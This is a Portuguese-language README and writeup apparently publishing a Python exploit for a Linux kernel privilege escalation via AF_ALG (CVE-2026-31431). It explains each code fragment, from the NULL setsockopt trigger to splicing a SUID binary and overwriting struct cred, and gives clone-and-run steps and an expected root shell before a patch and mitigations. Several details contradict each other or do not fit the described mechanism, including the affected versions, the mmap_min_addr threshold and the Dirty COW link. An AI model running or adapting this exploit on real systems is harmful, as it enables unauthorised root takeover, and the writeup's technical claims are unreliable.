themursalin/cve-2026-31431Exploit em Python para CVE-2026-31431, uma LPE no kernel Linux via desreferência de ponteiro nulo em AF_ALG que leva a escrita fora dos limites no heap e sobrescrita de credenciais. Inclui passo a passo detalhado e orientações de mitigação.
Classe de bug: Desreferência de ponteiro nulo → escrita OOB no heap → sobrescrita de credenciais
Subsistema afetado:net/alg/af_alg.c
Impacto: Escalação Local de Privilégios (usuário sem privilégios → root)
Kernels afetados: Linux 4.4 – 4.9 (pré-correção)
Você chama setsockopt() com um ponteiro NULL onde o kernel espera um endereço de espaço de usuário. O kernel lê do endereço 0x00000000 — e se você mapeou a página zero, você controla o que ele lê. Essa única primitiva se transforma em uma escrita fora dos limites no heap que permite sobrescrever sua própria estrutura cred. Fim de jogo.
A interface AF_ALG foi introduzida para permitir que programas de espaço de usuário acessem rotinas criptográficas do kernel sem implementar os algoritmos eles mesmos. Criptografia, descriptografia, hashing — tudo exposto via interface de socket. Ideia limpa. O problema é que setsockopt(ALG_SET_AEAD_AUTHSIZE) não se preocupou em verificar se o usuário passou um ponteiro válido ou NULL.
A maioria dos bugs de ponteiro nulo morre imediatamente — o kernel desreferencia 0x0, que não está mapeado, e você obtém um oops. Este sobrevive por causa de uma pré-condição separada: se vm.mmap_min_addr = 0, um atacante pode chamar mmap(0, ...) e colocar dados controlados pelo atacante na página zero. Agora o kernel não está lendo lixo — está lendo exatamente o que você colocou lá.
A chamada vulnerável:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Normalmente o quarto argumento é um ponteiro para um valor de 4 bytes especificando o tamanho da tag de autenticação. O kernel chama copy_from_user() nele. Sem validação de ponteiro. Passe NULL, e copy_from_user(dest, 0x00000000, 4) lê da página zero.
O que você controla:
Os 4 bytes no endereço 0x0 — que você define antes de fazer a chamada. Isso lhe dá um valor arbitrário de authsize.
Por que isso é perigoso:
Operações AEAD alocam um buffer dimensionado para caber o texto cifrado mais a tag de autenticação. Se você fornecer um authsize inflado, o kernel escreve a tag além do final do buffer alocado — uma clássica escrita fora dos limites no heap. A partir daí, é uma questão de heap grooming para fazer essa escrita atingir uma struct cred.
O exploit é escrito em Python 3, usando apenas a biblioteca padrão. Aqui está o que cada fase realmente faz e por quê.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (família de socket 38) é a API criptográfica do kernel. Vincular a authencesn(hmac(sha256),cbc(aes)) solicita um template de criptografia autenticada — HMAC-SHA256 para integridade, AES-CBC para confidencialidade. Este template é escolhido porque o tratamento da tag de autenticação é onde ocorre a escrita vulnerável.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
Uma chave de 72 bytes é carregada. A chave em si não importa para a exploração — o que importa é que o socket esteja totalmente inicializado antes da chamada de gatilho. Um socket AEAD sem chave pode rejeitar a operação de authsize precocemente.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
Esta é a vulnerabilidade. None em Python mapeia para um ponteiro NULL na API C. O kernel lê 4 bytes de 0x00000000. Como a página zero já foi populada com o valor de authsize desejado, o kernel agora tem um comprimento de tag de autenticação controlado pelo atacante.
u, _ = a.accept()
accept() em um socket AF_ALG retorna um socket de operação. As operações criptográficas acontecem aqui.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # IV zero
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # AAD de 20 bytes
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # tipo de operação
],
MSG_MORE
)
Mensagens de controle ancilares configuram a operação — IV, comprimento dos dados associados, direção da operação. Os dados reais são o chunk de 4 bytes do payload do exploit mais padding.
Então splice é usado para alimentar dados do descritor de arquivo de um binário SUID no socket de operação, evitando quaisquer cópias em espaço de usuário:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
Usar splice() aqui é deliberado — evita que os dados toquem a memória de espaço de usuário, o que mantém o layout do heap no lado do kernel mais previsível. Quando a operação AEAD processa esses dados, o authsize corrompido faz a escrita da tag de autenticação vazar para a memória adjacente do heap.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
O payload comprimido contém os valores reais a escrever — offsets de campos de struct cred elaborados e valores de UID/GID zerados. Cada iteração de 4 bytes coloca uma escrita. O loop sobrescreve progressivamente a estrutura cred alvo até que todos os UIDs e GIDs sejam zero.
os.system("su")
Com cred->uid = cred->euid = cred->gid = 0, o processo atual é efetivamente root. Executar su (ou qualquer outro binário) herda essas credenciais. Shell root.
mapear página zero
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ kernel lê authsize de 0x0
│ atacante controla esse valor
▼
sendmsg + splice → operação AEAD
│ authsize inflado causa escrita OOB no heap
│
▼
heap grooming faz a escrita atingir struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → shell root
| Condição | Por Que Importa |
|---|---|
vm.mmap_min_addr = 0 | Permite mapeamento da página zero — toda a primitiva depende disso |
Verifique seu piso de mmap:
sysctl vm.mmap_min_addr
Um valor de 0 ou 4096 indica exposição.
# 1. Clonar
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Verificar pré-condições
sysctl vm.mmap_min_addr
uname -r
# 3. Executar
python3 exploit.py
Saída esperada em um sistema vulnerável:
root@hostname:/#
O patch é direto — uma verificação de nulo antes da chamada copy_from_user() em af_alg_set_aead_authsize:
// Antes (vulnerável)
copy_from_user(&authsize, optval, sizeof(authsize));
// Depois (corrigido)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Commit relevante: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Mitigações que quebram a cadeia do exploit sem aplicar patch:
vm.mmap_min_addr = 65536 — bloqueia o mapeamento da página zero, mata a primitiva de desreferência de nuloCONFIG_CRYPTO_USER_API_AEAD — remove a superfície de ataque inteiramenteEsta classe de bug — validação de ponteiro ausente antes de copy_from_user() — aparece regularmente em subsistemas do kernel que expõem APIs complexas ao espaço de usuário. A primitiva da página zero foi usada em múltiplos exploits de LPE ao longo dos anos (era Dirty COW, variações da cadeia CVE-2016-5195). A lição não é apenas este CVE específico; é o padrão: em qualquer lugar onde o kernel copia de um endereço fornecido pelo usuário sem validar esse endereço, e a página zero é mapeável, você tem uma primitiva que vale a pena investigar.
Para defensores, auditar locais de chamada copy_from_user() sem verificações de nulo precedentes em manipuladores de opções de socket vale a pena automatizar no seu processo de revisão do kernel.
net/alg/af_alg.c — código-fonte do kernelaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — documentação da interface AF_ALGPesquisa e writeup apenas para fins educacionais e defensivos. Não use em sistemas sem autorização explícita.
| AF_ALG compilado no kernel | Deve estar habilitado (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Kernel 4.4 – 4.9 (sem correção) | O caminho de código vulnerável existe |
| Acesso de usuário local | Apenas LPE — não explorável remotamente |